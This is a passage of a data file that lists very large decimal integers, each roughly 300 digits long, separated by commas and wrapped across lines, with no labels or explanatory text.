0312380910131620766188918800757054915274241427989924187772
3955560197690404895145138980161242961872072055149610151978
50537931271474631286434,
2779512563513910230408281148417272130526082649406921894332
7724806608547091838212513518358340617073332884388265996724
1730153183098689705056485710360216714942840874399930600968
3928989334350907293170989384425178419306332118132579228784
7439032818143424332796201898320146429882903707737497956529
29632124260254708356849,
1816743149722469986795364982452649380991731135576704620422
7386337270968860182296862523478436829957124988582737214761
5086897013622319465107677593599596368054423722484661593591
1554907199301200535885095205103482705849049732156196917744
7508678753283370936133818719337550740449562571283165969962
46085319358870382292128,
2233729690803027045426852256976970518273187662192781503401
2122850927804939936113837222479543543272725084168460807673
4581495759177521201182474499966768702368515513642763818120
8826623215411714395845793431325831204294898691603638670220
1329485250622287300103423892848889178565949713945813437208
04939452827889473530852,
2119774108664471698757588497357903486714730060575042412368
9872979078402948160924595742777221816450671811904314462395
7210008518836619511396138543404206515920842509423136466191

0733971761101045213225446702257901652359691881479114466743
4646643112397795374971157240785596040293640006502817016246
99018882744203110032707,
3148633086780399938716546018749401446795394275634772334132
9305566594686166950957754237280460046421863698365531351223
2800748013551050823718255635356548990210644564074281260298
8748486416237013665982173415561802049880741696168897622974
1280058521677556272534737058703973841989450611478543789453
42364099906633732384306,
2445819638667238940950311603154070391482114635839781543377
5786444827010013135229834304875890233264876518412263621883
1772632585334496228638893009090260141121436478846426957567
3421034399468516180955368183434639172401054507903895570027
7191461517916620642628132062068383158644738936126882986831
96773080438627875202814,
2118939556096430110092244059665814092990935124175346721953
4349677221520812909268942096173608893392254906370017181957
5630547383968487593966386437509621859610039444344151238698
2775597993699237684569350003403649053807999512069244556559
1624286664639589607692184325336608053804215133915751351197
40682958081605118417073,
1568076297619823883931846952439025630840186472004848184751
557884462974995517962514202247515111125616759323898866702
7853318882866991065488337052281960509142141378723537416338
6993672590630170279606122546453164405432652957535063802107
1529768851025550918177618377018273376599832303392386627275
39801992378693500694501,
1546313556240571725870350939611574368160986839624799207856
7038071009719587708509002283655580320454212547532165992893
9708620076477424421634120051632754503923506657433889497946
7679521781414340475482722559957588349632746307848415876674
4905092114797897423838987434358925937746346944833204278571
17032602643534737466518,
3146121176081012712616706456757725061079641645517285593002
7449875378293004218305315680363091960812536905898686546639
4316055926077228606771277560652663153657337265661633747218
8957016785525186313129410354724248577696479491110407805764
0750528865808152171110366237737448989630418462650510083070
7782224595332224620724,
3186199002568640949759464043844623335356442013338561139464
8538283310682520083910470069639231450722287971397688284161

1863035745471949180506916618092223773246172511173595682284
2463639159399495580509246680663979747372622942712549618812
1993248157005850134431047682196609105029996399755292274463
10896496041821150374432,
1845403087054785327140374511207825025812203806197406628741
2356620262836271058192845818882772295269580341677567022663
7895809292413709370857075592641872861161047841513027080940
3037095633597542903011902784644497434809274498404340461198
5137553618395874440565039891089490216800896778021319824236
07698428824521262750921,
1228881447131381940517787462488526271324898126027436735975
1348078092160482005556337269546626953127479062180937755104
9958633608952558211434810596272505216495380784158784831145
9909839472736285293785808395252259454868233438446063974424
7054401179925822753106705684617004115885285720957709971207
35989820807810420799927,
3347477761573260418963073739011823793093705391021220128487
3957977961897376375658049223815271135620143350344025738723
5409964761653108654702218609454280145689797279064561612686
7331510141838025696829486821940383359558115648322820439004
9018339457095943867583966824884027324551242959733546047442
29186716397701440288245,
1291861376319833481569616376201948618166004361576166794385
0346663572157736129460824553903328003349946853946676570304
6810787083762380971257949115630505757833856350962734869932
3844345045396945586568416426469229351432105742935800971619
8047295874034991879270422247926214012347403763976776834279
70431216918374609842367,
3179965216892833973654942160277256562879199955647923181246
7720087724540956018120407743047607241754178007652035777265
9174270607915373553098935095193110556455941537129920026507
7861532237528596826954397048402635055411973264634079733932
2890302050804397536981039779536644905486876831116481130029
74799520631370806586166,
8897364955869073377158121328271654812662534419903073806828
0494349599650125661125661140904619646633626597207811759018
4659863530261928292431258974077203329057912357984730596641
3560859873789705374977915475108386522920858480175849882104
4860937388666132575080303262442804611352536550107584123457
636361980667737647983,
3239157895838686621495893247908576582533621806745510693209

0846478581106021505386095518809260066283774951918416937198
5210070433413891602950707529786880397353917212415737789814
5372048819320956604997195535275798680689667174100150713122
9127385858433802075817218624682519551567840437669616474847
65868738112020767754393,
1656113035706220682164176796055985603852588870648451304459
9763933273333107954103879154394299114251618684979395636971
0920679587102427280979263540107621507890084341204945689193
7803906033808277365224876672907871141832785062524924984522
1266676526773117461741945996650527037209193362436914358758
02713272304978353861209,
6123872374792136633161426758334519185956770183274830957261
6737732342064151540126397396616408858982583522972391801508
7301616047356851917527616216631069566575245153028863028506
5080495019326586286087713625666503466089262583306295238038
4097860269606803538693163330780292450787722137850790037427
7507022199828535155983,
2980645729997194882890437830441272466159904036897316991896
4650402175115473677355221365557508198573876539428011410343
1550964913507474082046521470806980025917264052857156706590
3693140949697720219040322033873749936159429524455931395378
6495446674486573095595944131534661654457365998724341557701
79767205574963340790398,
2128458595249073645598792394587461820293271594289617670085
9878158833874704109597958648029144071330035272985674096625
9628564067671045209207965502862006971402179267618769929374
3315888523386267989720985102234489353514872895242443187511
7964560016046967920189161357428532018283821398228352004579
91551950196065461431615,
3186002525016780559567050624504614751740965173974206283649
8491332665915252512855595269006450702191351963569657268822
0663384197603336646076474185645221701870823167111123808917
7190073606943953384559720090334489715762861326493858032110
4373458113951751126910085597520261380286671835480031873585
59997466978749167458230,
1303418027628629046308486563580142009209192550088724721768
2927016631454265794305954615878542746955637571253598741036
8634665678241771103116484232254076665596098903976938682089
2047157795349142006018280719448962206453928069845906304900
7836858474672417554693560607425445372682279438444309003702
35486222361197839127635,

3107461776562533794437432461758445381515283718725672567268
7793431701215923739494750384974570709835461896287340892102
0388471835740425888655737499020441723521071642844712137658
0164744920039148666603337934237214534086163062348640239308
0071626274462414570807511454275782764679310101693169547814
55484193738603927890081,
2768345281180345914537587358760281562582170079861112907495
5203493912355762092076666478314048509061264411876326026756
8922354783814330848259573164499564620300000935928754484300
9533947758492857517001427565947971984841924806833588899525
6995819921094244687406455327711722397661039500770762564036
02931381403990971874954,
1861036076321860240547268674239820918551913774617103462515
2665569421474618922088040469892478310396993342708151792527
1577147825844667772702857971213619966429800863012265521360
0057398460166993893688091620921872795657054744425834495827
8659735458673089471665685627499258185816341730513884493845
08950605662681016206684,
1894317123380516975536987286976920366201463254872364435891
3107689328620511162328678094455451787842637329974648173428
5071274878793338564547430198887581247616229591590953988385
2063849623191910930542278690896806903389320141562993067815
8425486673756117831425112991683132703234068643001766740675
13735407682099916874788,
3022960405496138691184578902661527098525127245084398933053
2250625682815930051414943315377963955043761623650979297375
9426641128757863884089389049169268005597668312953046692638
0551585442461770976395568068413322569712709164397051403214
8898135971298032941757156375947935016524445319747931621284
15947471287228914752229,
1684592633394489834495176390575801574034582388182633413803
0653846175355855939964136130894983586496264488685760723897
5919743987701783856508860519509941811899103866888693493693
0042447539930341066736679349886912538800592598883884304080
9168585215347048133257190909174058267246425405814679654167
43464383822514293692643,
1852384818434159226533207157953372266741061851365549150321
8126565684073719907847394348129215156060893146326763354471
0530210139035422169999834900998477692617950965620624953974
7922147199016531616157653414091578404852596989796554694186
5734831826387745119372388031882697841842799325156334608009

66442200474275641254504,
1382717285823098302898495414102142836079156171717851845453
3697112518268058924525966522561387276198978232438757621876
9255200866284657887240823197480481434424323281043325804238
6369114456824340395886133851413411676828149053347586710201
3616650886761080932812144400876214797496634400660044781482
61067278065499693132154,
1202781341175272805533819163561028581915745541641067816365
1802207122558738329262696051410630178516551773096501899168
6304676168244567333025835886633970763820506587805528503919
0367619755304450535487748342180462796993914139064780268810
7891480467907988376374355820566813678667475729745793553653
96644028641111777544069,
1073834144422369564953896783014489681541962025751694293930
2432761802283844962450296879634177420269601345131745134236
9853720842685513700958098857726788379363923831843235236873
3310309874921554470077306384072828607307908961949147437991
5361386051192369664596620545609862790288789269909159292802
45933711755258695038720,
1218535980884411894222602866765983082091837296051625272978
2718004661572816735970685069786547476559773620417349405954
8026480122203313248078498528221480414427634865032034141707
1640760337772959383214854898270263321337320953275222199797
8176141945930209085246293312122803644657617605818630339423
5997290959623286679828,
2732855291798745727238788585725891262897400327918136408034
1269085396063537737479666725769584497723077554368606680205
9843100552062037212341350593074508593232294155642495396266
3578089714372392879151446239867839622677911180466066680801
6380323657692164266283116785321742634508290306492725756103
00711503003086645286857,
3343735974027574028720528455485297106478788710852004241011
2134145504536411563188527715250741592819917136171825629323
6490677395912045843873071830535358374162161320681902526838
5831430413978551758568050045799513988089609474089068589388
5175117514086620110476706922167255849627561609882709870563
89010975237528517664897,
8391559516263728127423423095715515749468263704094085911324
4105678343224453376159571612665834190081050258061172133024
9681821757468918469657688067641144149558833141554932934460
8252398064154227347355660327341319297548826421247232857193

7142939943835314646496641057599357119018226592074559490682
7093626158769002969620,
7494573946823629916183742061193036547423677678359136473549
2686719508445415812404242969435521406997047868924612558415
4734865104806430748110518831251680219732219989932830619413
7556027228869526417045008993262126417066388453706628110756
4716780680376027421546098365119173843399365836520532727554
0606723143315724948902,
2153376461481414459457342660851070217750002885426693731982
2046045712599816729363750884833331677252451668988334162124
7882461457723512462736276839902887278377096504531275887225
3458868238154591608012267828274571769614108924478710224601
9897756007296818844485600545343656956675961946700034333598
98082989062983350821077,
1718107076998827693835258774499224944359403614477758415223
5360692495264403157417294109589334304743545289356510212133
6797295292973442798159581915201879686886382303438715604601
1901018612742129554293764259818856789923169480507331305481
0260478680433594339231992349106433214578172610195918638229
59118731343518602934252,
2583428314510293059697532674452238301222300221986678349149
9144643138129837003085311750630070007522945278781459226816
6841911407323822770855444348789815713333817125990375881723
1463721931130990248043220314098640581662533014690188870728
5761967184006635109480133091097996433889788683059117933897
36269873336341518268767,
1648946441000225117300310270151893298941485709315467234563
7869367856495463059753998091131642141979083002793493304889
6498137186078733806446095024676623858565424029456765047825
6119068580396795985780870185167542851973945354806459117841
4557638279243955632107929091693861485683823405545894109605
43544380507637305986419,
6171277404125107591655894705801205329540723219031272496910
7520401508428644931851990303802414343722569929063083599595
5462606674728511764732711424245025852113575813898139704537
7729897958867346644142465290604131927211781369189075034864
8761760742326664495113460737346481485209427252586606263287
5623098117453465222481,
9469192408176556122602370413893995831160270649431791586619
8694425181011464916932486307199024269722467624189398962447
2503314935708386208931408682761960936908054395925174724594

8369283023347601044405516211651859605810525299051104967467
7071001568596968191799080740537780745676207095456613777100
2345350953900079017665,
1382190927810066677374211248255846700810107607669945848290
1799428935455672416319939663945645692658223687500927477563
2596035236836327960686995301517098512601509133870817422555
6099693111253622844585105484742136594260618514662248628885
2600270608773076059095158299913140805594946195265148435793
88132332811639183299414,
3328330794520563672447852252403558449900953347543526374058
7757570354300833426567957895911086871829775870258952523630
0108612084696846233133214443474866924549595503133239603034
5576212272023074052199532492348264460700334609198084971784
5811232049299936135129958738725234727466050128278172373224
37501487875269145291394,
1787369853057826910458269626044829221827146269309171173955
1397713163314275047301426365720354444235750414860932626070
7381022517464963753418052992484192593279437789180242764967
6707203055423723512117983542509847143628173836026372284577
5875737632060725169531670436049439548418185389876300546386
16159682757818497525229,
1435626102256113450203300062467558360900100555787520417758
7380495969993036013359557940750373422857331677012261313436
8732578285502862998162417459098533275312642529427706433550
6441544000253774881736593579978120423252224203072746975479
9300868780501871296808056974796017514726735903660424170528
98602399751816840386776,
1570030279340296945967359832718663929136454202149468503532
4286707109461402122860306294881633391354529301707766161883
6671081836431112411872113510171319832354935295936864323714
9089225882525161595978006626630093054129084993599775607167
0477824316270420265795739161620266004116605958633209714442
42471837698876458490617,
2938770476239292282426880778896877146676752199639889854492
3390471048647677410572147822482523222305314480179162323017
2551489248179105174170704917077702084328402030165009915414
1291929163401371710388035780765105394201317448208873258536
7101109056925694564773948620874300590485603322959623624283
17090309335600846760334,
2705658306098251787044173311751155019539183390007547646294
2465842327214092543627942808163046406077282829020251003975

7441077677163949942459207334370145634787077746220160223829
2756133221252856221251485285781598820657139340723611356852
2702933917801233033638184727602522149725644844789577476157
08141631222838979201260,
2127676320380522554500960950758170730284691919039077065958
6076431056057572499681441364269591821579922397326578074587
8886495305182608168145732775511075940862304096266787809486
9147045437468692443683261888764751303001598074117034621475
8824346368133626422986167784357202064307301560591221416746
14213281435695266140926,
9049166017878860713831866411296474898127541729688827727268
0166965353327756880799451005665889788246846289335835877879
6261948795271226588190311982085723707759141272383426213613
7637997111018902434421570111156407437969756624318943988297
4248617328181281429736239580030296248770896888381538610449
8431163181556109359774,
3014606214414766618627889647982171920126493899845881508799
0569216546731694208208044790806373032053097094224081030490
2864481144731108942041544138959145079536820794366403834745
3383049256483374560396673564301911742881267983791186260364
8989725952068808538284800886837507555973585245591794790274
07060138235446664856875,
1408525771818493056717924965065063523245316994350168088389
0324628134752907875833369194315963872075449927475950301480
3589233032173871878117511995806172128413634062393316080413
2520610958256664790016644707069128645367133382883063150632
7218398911860852394710825620860346109409799545787316288498
45090496109688525381465,
2862365150680580466721958620966114429191205622458346045618
3728297865556741124252134123253489756633906773565068780087
7344469229662709884418266266001669869317257257395947939388
6740807876210395105816567483201199315949483701875355657655
9907422710291223591613048063179095842577313068315708844286
02654312137592624127231,
1091860812737531831724981046021688590646387445601012979490
6744485515175867481072956261018721135884632667214466123199
8722833358096777533085632813274869924478914092412012557214
2402957640952745611438524950505411291597103245397979510026
5412183070407902058526475726019531172341586761812936639721
95412966756876078230876,
2374569796299674733935222008831207981293892708159129445269

6515790036666781284312259113839683381349881025095519567418
3960485258001672783349118512818196557600059688951384137314
6656019529746316861430356621154176613274952874092812047153
0108588670134367436261335963903093061598357492713240672390
34794352760532132270012 ,
9133312973202754714671470131705980367543515430586975556976
0662019684847501291692001665166859699484174693449131771937
6197540253439970855506225029858946583455842659736929177383
2978831828930953000737073887351222870417132802055486901051
4421333949440929352116221871330530154843476016196682888804
2616496377847399265265 ,
1161328389860280276072178795689998255478785557943753918027
4656520755139316879901920935621337902677433126106869367895
8608581282516872343518116217512707114612622821458516988071
2012270533198811333113734429574704491946948396706887224281
9531198596720413437656464418563977387542198763483246791061
57312626452967561366425 ,
1309789009654789587495133600492685589216529195438729813301
2201246141128457287130469892448067871445820650846000639204
4706705201528344204419405916689713126856949690922169395973
6037565368319381632841833968443659475631603675359462730693
6772252594406349846807402516757613102361265496076705453633
93034641058271555153794 ,
4380003524172050638296416905172070661240004200830284679441
7821675195833002219042707769331506907767397397329420475698
1835283129651140564170152177870570492525703295793958777818
0501203475238776528265086001642799036166579755458630909702
6102791223824096707060937292608861408907071643387822494564
1743198741423778204588 ,
3198015356732112633212361348025573914268949798802133397375
1164374476851417052488059141658437203907998792973006820291
5201783387839867133939124234779348297192707874480802058628
5465147172608727698104374262917033099650731711561402185181
2602298214389152588106124491917425846040714798013618195818
13752512116500993349275 ,
2025166446470326989907262516139805640922927028941327422374
2297010853033176189036544598864945166649704698895874629495
9468889953673162022214640307792059373601413525044926799582
9983025969305072719235808790095317689908623469540433830416
9853735784520185952479691102378717606271798358701977475114
7509976989052952003094 ,

2814506522613714126734462036934051510640332044374537948560
6690102660356120895603958377225668617135323062350952622006
5007536229616080053122978119605356441016210932469426516595
0180112761781109599223141048222800615369462850669866267959
7973808768868946354631860770958890482327092034362260153602
94300624056564753373975,
1859170624903692620826974904088080453332839420966346937406
8707681404189093416459604711328326178499389131216896546019
1822533686815505374327892727306065572463305307717504666916
1822338609584369782710040842548213915490192561621832035534
4272078743252844262525469240655456338392172665572355062937
07309788542068359849986,
2495552308154899528613498125460362305624576937693705665292
6290099497778854268003108189524854988671705708736961808017
1781059808662358556712434478896087334213197393343214571068
3910926824198046725970139342338020402737038832776533000007
2471938048544908913431912086724366320218427599845383107509
25069625244727568121396,
2947576027099126530772205480218015519664039072269518854665
3990559533319984823673285957755150522393531381655182771418
2699965168561569455025613418749041126136674579176596209489
6849088327295891983162418339623462497188053091132438667001
6126349866265560335797380284117282003043442102936160489805
86051883837271847612741,
2039017419217639606190149278320108961276678100266971366997
7818722198868566732280090746162639203949254632277558690398
4602248968104005319550870688323544437445294421352513272794
8168513260641958703512968783328222983307728223235303303111
9077725054406713612532360936054364640242417053732301838885
48858967273958094134158,
1989207678347013832066202032548841781659850085445411509459
4770357034180077302925805386598585915574648719799868983549
7201190965897403949145937340041892129282587341820371426169
9082676841538801904864294626416939334314739985256941393748
0363314538464332286400656014888986631513098521451454589481
52954995786451757903865,
2197498760797039936667116503221478926971382784276633202569
9378079595028750588593746812627756275831249922860236879846
3017189088302113141708300823050900490852040708472755445555
2762156402640892629121346549515597817385644724757047137504
3322503033014890374556372131553013441478532098570264365280

56676810285911121586694,
3360663028183887929105770395393384036500721953426212773726
4669543811351448436806865528864495024331919184592729559104
4600259993020329714593685182010485313432002236583904456822
4345816347763114937643376236717647907868125477125973432137
2896281043087875595416960106719925117048640172154048873470
51102037879295973705773,
2200301633730516450991513599858464494011356523388537796126
6451201452363558408051571506102460810557100384641093401249
1213022325856871989266197821639788857350671464145418828678
3658562484480767699821940731105511574527505829951789149533
2388336525107799350216749201075236316154796696657634820921
54835468889702564102030,
1578650735779243715617660784444454242141078894311333034012
6165761693427180021912806297963264035863466108478036909574
9173234863292454343012225304396179926140346367782490414180
7271405277336341334340128478522468192981592429312767327183
5080623275139988762465807990512070414295921035485472143129
72604095537460568263081,
3235877034708235928289293808931280863559855332547016902175
9342214786661301847981711251365202849000951367243979344985
2327582705441365021514547654323979052431802896915446997385
6030449192717268827699150142781416067313325748912459120028
9160778450103502981465734997234458935108130071797504094658
91356915666963606216169,
7705998606826562228796911723102012419358601702352833864184
4701731336975885869835951059109051119778678500810294635169
1390309299956351084956206249735004981176402481133635461326
3859468330554869887118891117598553142901165956759587950211
9436302710944389718558506550628032156352514859862803247366
0191037216647787030347,
2851035983315761190862472336290774611184813212400262263573
2546746672656370003258423483295858133359874203112703702289
1943898357025604338170522820952034846194984310572205348476
6839001007735908182931698837444405672205249809637841583977
2632726626449561751667760635241345329185790601215524448655
55361258760854214515212,
5588998594114238606006091309897481552693559453117493753970
9268592321424765487739206845501009495054410274814186844633
7973812172532609847518023545353803933840204974149230157864
8242085091527519065394780385464081910766913309553798967917

7236242768464784742830380972917741269427907823601039996776
018700311620444350176,
2936125535988488847843368903178669763641154604054238636993
9878931803344498705837321266907358957967674150220366262302
4748956535736600496657014044081115100806170220107948773169
4264104581772565367448989638478358174625741521745147776997
2172987776294556157426474882614428607474507639540560968691
72811784471983365598912,
2669499896051222283324279979469744787871155465883529741560
3383790096965483808786584550539485078556043353925105307611
6777308251032566862448268287607333814593413900201195810406
4572224661227560286172243278052854806158476171490956962566
5284203178648143172503168322434181712962490251087674868301
46929126531265465772028,
1862890292265423704340965417307244597283301652081108013961
4926332418027742997503602217998132786661425654566521484058
2160150552172009730362753474366075019127819882874488383105
5557306435727362506762514614161829716007347298025426779301
8211809627881661573846342976958133180659161662868294969969
77146379813756952910662,
3229721086426970985309434253724424335070464488244480458186
4157770384524744104112444716409499118057457702915130323547
2403776083364947971208892730404437378612201227496603945436
5867039835189170031449956941044919417012439420436334498105
2918702320586646490506505785302058143163097698157943258087
75912643982442565882835,
1711291097878733251700378402174026115337699488046412893000
5944291698389139895957892836829182003959597883165472114704
6566442442959133083227314430026752945961104773137376737595
4882713851254524832771951642149821985089259511876984536592
7641994178560734717849463042852760955512141836640191149967
76602782755997303775994,
1847996819248940811175839207058374105715147590514796642866
3180944069988921362408444957809929526671133425149461260693
8720231404993478820319933295684927028785372778475753289148
6997395497641457616992549757780934529884219736813160059509
6456492728316863550578437910358990193902376338858915832598
2086411981659816148601,
2061908169698192024155928216430333241368326043834776621584
3629799411056344808730850594759592355744137484753562411625
3320176706440778429789350351214944645486443312575780781836

7085526570228740884101857611592106761367712606331740928699
1998915232834312244627722039518616770353033822507152878950
24598926624072297224061,
1614140409427708682988019717234799280057387957169941063360
1865701724703812211715574862309823083701879557333454828912
7405168591586122245380605030244545369875271675169345756099
6632392216861911417388188987037939132049130099684066261860
5152482269458844728458927012134320335528875640546414757757
65175401942345001651815,
8256948348556657408354729687935908609522445730869161727424
2012454250982267762008885389934803005487717982703169032199
3441864479381073552645844631359443602106620512840535150175
0307857524267266869592835841507713395034545630870291438101
9796453146046108894073269165778686714446419333960402468348
0913616381787789607776,
5001663473857502959011007003171663398357922490648354544992
9740736031707975596938323321104827773752684917340949119054
1537056426015219192548422763483845992824794060788358987881
3170943799683917456118574454407580248062260549174170816438
6277582063649777021134159563333106164084490304258965306402
5906538792352503176804,
2494575362385015296723394025779869999289926618145186761094
6523725198520600017283757800071267282609878909411888549961
6634234044907762425629048530981161971770517051322832860070
8077480361554016175238783892249640687082057474552242286417
8379769479835410057047037198855706404071766526367657493612
66729300669551088339430,
2496092088039970275185831207292758241284491270719269139363
4275783998847570400404547060600994993529779697398458578632
8991922132846674508796272922944618049970959156015562829401
2230116160613620284928922922292867391436240075183016149478
1775429051161130440359451229364294080318760582024387195575
58419722487418214336920,
2038462208232310893064426401833422802350504231426697323592
4266274009918893392718341674202370115177195655406432477222
4952556211787185508328421271773300963017525078281526194599
5710516552666507989343340524746971488765453014665608801693
5929906837803535490713131654569036520558153418535268296604
85234056111014861614393,
2760485481547535644651345857721698261840705557204893744216
4993543524223079945049763533093450358390010742755370080957

2171374939370168600064488238080667654795559819161747451118
0685179397545288197460895520050466500817745671176474095519
7857655409745808235855980782368093534487200406018389102717
65937169766900555517941,
2083112365389634166806456316383346061517587670987144327672
7491343941873961975889359831116781027789314631197281684150
7869580635094558761484906050832801988870126166458894445480
2078395258120501004115453314251895913905475068074206604938
4765071089824615164178761190202142331588039250891686661235
79204359509091595932266,
1931726480209034177788922707534458314425871639332884871085
1976930622162121672084794765376728235813049889269876145828
7568486576535992689577257862745798243426381054011550027699
1127588718720545215933066417426528033045944173130838956580
2991254537078816304302783784410817339102918534127451318279
64972137916003372068158,
3263062702156198910966556419336613895195592474596458102337
5617436322438468830033027932360063344931362741780681154393
5101376012422219857830225107586497419354833877259746884770
8986605881378117643037101773568832515348685668234303082504
9461935242047534416237524900092233060106442278128314706150
31072209992961068697350,
2175313039678268117428777813822885739878637610867312124095
6637740192050074176316324143860803314343940001111905846989
2260362947836978569497302503185933780971089730770223545478
0866865355378131538518295993054983846623764574519949848107
6649404565842173362571065694134003254572807837184810247381
45450147183050390963971,
2818464561965188516160701010566102731444503657188613061636
8530776880892608785788021498720522097860550880493357401331
6208503168484665867883464380030289323546294690664755672458
5419804424173335268655002067804685096995713839559212479575
1710091936486025167008151155040004166700946397705099909007
02563427272939932287882,
2117305833660460648926200202157079497636629021185490257913
9405731520099641937415814470122878031876133160252590582822
7136121739301631964936188343940647156392772282028091661172
2279131207973321522203019060383756436594800629538923955573
8233935425801664550002359567658692654711357796791382347300
33595169762044005497991,
2081822077928356687466890170931826796448855083662525275598

8348682207596345718083364968634681012652747717925217444210
0771360271000497368605738656982828221500403201172308325723
8424922711310305153834509626981814048893391923313738778291
8022407497610150839389466972828636161270641442413655155180
39119624537716824194930,
3241385430225952560136921127440767248030432943259561804178
3446280342501928080548588696808025956846299550922587711166
3281466334495479626492344402326955279331645915665503113786
0446749496892081523110547969593356497665821471455603267923
7893872987336199379121964598606799563045515031296334405418
79725950211624219040015,
1716494478465394244080272526553076012199634920605989717658
8717033113119212660507333647308166928233600937478950813557
3803333544763708455487589410506744232337709557641591841150
9017494989160461806538594076451510833720676875702986649416
4249211961416885099695971060128909972618822883188812788584
69314861834538326811928,
1875514107594472725484391402477427465554489065550492781976
4890592211167550034468122491299918436472262458271360721555
8607952765024724200197485102465802252930564333129275656901
2950991807255553663241252001132543730323512230689534837532
1452224112832350289222146103726362892671020817444191581484
73477163201324931588440,
7964992276564497754218068298097042933450521084905391387783
9200239413458015578158531730826696171085451748410255963978
7396969794397664711912223651999329150412035927432364994347
8449211203221553462121419814985035082151081606316623958161
5072360243004888960703797670841522540976303571366790217135
6844812150461812041715,
1869889873482483919927801387897560925173907680599927959739
7414009357612605635297720061390411920258395129407186617374
9030817526222588274004516497477446829487384682578174956623
2608521601472787497450992343821570616130816646625282368914
4066391803423984734634326957028047686169101532269888966154
39306352560618458007282,
4532274640362465726539761479518418624669279712515633725133
1600052130367255481350697806784009276099196623077117808328
6308437514156036846777939939678311682245927694421609912911
4206837410575535615616011067900199322232584123067553249697
1652712860245569930207731831749991701197489196120028766068
4051697163024801147077,

2618933015675180999578494609655604058740794472861784405751
1577860525429559749724435477957125319453076743068867362893
7051147965851486613799030759034144062504174432514234122128
9046242092850746249107810671307143924708484408013172736069
7238785029901211493775456101824008985809714443141380990841
45670310040714514812852,
1853768577030583236003509951257207086876895813365605284214
9088196133531726562798268362452030976193445732512986284044
7257383466627308169830961825146979369580368532266511057659
7213178510933294443666197239749323400285973167897803588462
2216815004816875716064223081996876871398890292670275620531
99290225132707235588842,
5253265529111508159199670291423483644819749090582995313982
8431425910505893356414881996960893323426965874517620414444
8253312517571728988027557054576907702499405560593049595465
9396676419076845865588914286860223698554977143421037227027
5412532057182064658832924594205009186505599728084928555396
7855499436763555230852,
2064538653144093011625596061687346295570352179685908908380
1808755876366789079629827028215061278477167013840916012663
1565823719289400135735841579599720691907383341760440334749
6742587509489684927524868072294795953909571278384294265912
1114275004049500767849526831519271026594905614913909795703
82086636430515692071081,
2197568268148051021241255840155460966339818622901176325208
1643450099359937930485761266615189596542381121104720928152
1335749553553218676947351445233831083096765147120766873561
6447235975665745862929729811132562776951806166104754050743
7589292882925842841017332528249871799766644609649747000851
262150451153402535242,
5586688066026655664001049720981162636007119843745228994495
7535058221044868669813864318790332744301838905183662748647
9424228366016114316694683946170055448624098480165182237515
6568063656751788802913546509693548146999228277146544006435
7548808337168987660204624742890135800111087620648456954773
8319434359963620137394,
7019306620289287229609663249008541909072176491739553921866
4560544293029312991666261191820242416247361917679848831049
9011571351139645672709836853315158540734613698008172914727
7187558757288404844650750736232465095992071114237784822874
6590682860376551432357640822806905276678679632709865233469

1149047020990157090984,
4850277221356474151865615898332498587427174134108942252244
4872510744215102058896845947043553404807163122026159997917
1990689776009756947435370038629965660138799538892721231801
0984357029732215851538983705726247969497962463031970126083
2315481945556544461108035961220639199953325986591105676004
6562086128005814878351,
2148336466311641207916317430844478156622711375908424270153
1456857389240966043547425118550516278183041142325668637700
3931120226165894252417262238329461888570377642310769962462
2092067849183355298177467532219591040150715453017914441728
1967240962535295369399290746162610217873862879460742239281
83450315730198613821572,
2568343253079070917691421386435957485437414021258056947296
0226767384706201723964449130860503415143764482215257975764
4649336728626673297150585773004267093103008451899731659880
0839400194291163533847392682452429700798111614474590010369
2842250732504250047069638237921508865682255625582879444355
25670602170373561136023,
1645110252161420242888937867654154957217134083310840947645
6582973642056655593408367980741792958314667827118731075909
3357861342209033194384978743746974156211758955448305124467
7529451454584313899748753321784101233168780270214387912589
5328630756054250415575819597829605766537150684268945333683
79012443907161831339377,
2092042518088563187591618652870341004397665065176167371377
1819521021950778172361210967743844587117225318869646194049
8086878757781605150852150649681050992911489139750373849334
9129027401541554184150047488669621455412989460970317383926
4542002399345080695393541926261754540916393404588906573214
43344090996217314990275,
2219087897630965049442701814975413882764805329450120226930
0375013967458237114649235726822885805982774816314986293282
2709731078286213919304293208243640501033363945445063075040
8354191119735547054927201154507240755608229514292217239023
6219172207371830963457425810765034011203004059927867968903
58786360000545483069057,
1638513668077630692538150483506305289128467815962096210286
0474087353566634255599604398277157536648284919524177305076
1179657685905192756109768730677889112582329344097837963751
9319834546700172536681709839620010121197936443263863344366

9696831119763357625763890459375453023779780914224489385668
09086574571823418450434,
2524747803762537661748306057824167759302980033314461031127
2226613540674715525617920194487690077678370783752085996346
7761426134944376608771493755531862912887218101977281062146
3709861177276096402838830650355415444921144533824219389940
1844667553552219596082423767238292292500240354037648049359
20464766175953558922071,
9643037913715117713996085788930564255391947332289975320003
6637526163152087844757639366130012393844140476326340213681
2809814281122103314196475913788759082751809810597610046883
7471346037426978846922008318121730679891877091128541143915
6091454109870316945152014762609514511148622026448145125296
3056175362052161904969,
1361329769709646469878808808651415477225371071914001965946
3655534691687270358146790799214333449571850561541545514140
6291114806596714328184281088213658427048231067384609334315
5327115215718481771359217366384550734142397563833576777585
3472461968495746891716783666498663230850575263152807542785
02158120498435788311742,
8078019226560974462307999197353335427603365037881880654744
6740113548938305152729908945037935723492491794970319310887
4874834178402137001803523597226224335673008484949483546296
1712487917641835456163648830714037477483295119022277781928
6748295575174366756646091408186010336805113258345936430515
7742641955254566308701,
5651075870622943059459444588916920126183872288799303409106
7230231061097260767080552555370648692623856252579451544629
4776418158605536032538929486741444245885950332426307664343
3360643787783272251961720825494199363142440015407378172636
3869321351684933811398762867554367483018652420508690156297
5741243947207239731687,
1372411423953508035935846123049290775157778630516754392804
6087891319945280570216627208619159356793542117190195311523
5665988480915299859875740792981043670891001103919861836349
7908591735814738049607718960475718005180322683825828042954
4963178329274022430052326949843765032460709649162461680767
09174792825248161634284,
3102426341564642326426738958240585270875258772014355355894
9150934609781380411980835001858687129850434020236365187123
7217863752740602315214159202852033024928391400865427899296

0653234615940128843184331513018309515838694087259670878164
4852882654338500888448221294408819738447705423358255984307
48087539360547175740218,
7293428751749094718984089222386031299708096223542714923314
1719217455947291526761796730729570180232086960102857998764
4197527731179954382503333943257253380196740033385239227142
5224226504653707480006342720857041530102129889429968196144
3942615025995924395348054323437227189943547105829223983903
3645415313562727964152,
1138252546560030645224511451515092728033437578542527693430
7798713994009595463989183917697739300571133041362311774640
2945795597507418672947566654700513362162336972788758123128
5279874626206328463538687200631029623122348876597330974461
7561602013624389156497564458897260424510991050234168846304
01750767127535301740463,
3288788441309445475090297569513448087104087222500511530861
8650662749148859147749584860474693376289343863144695398947
9560145341024408653010095595513734119252524660788459769182
1254875581671936976514054909995759689570208750000056677987
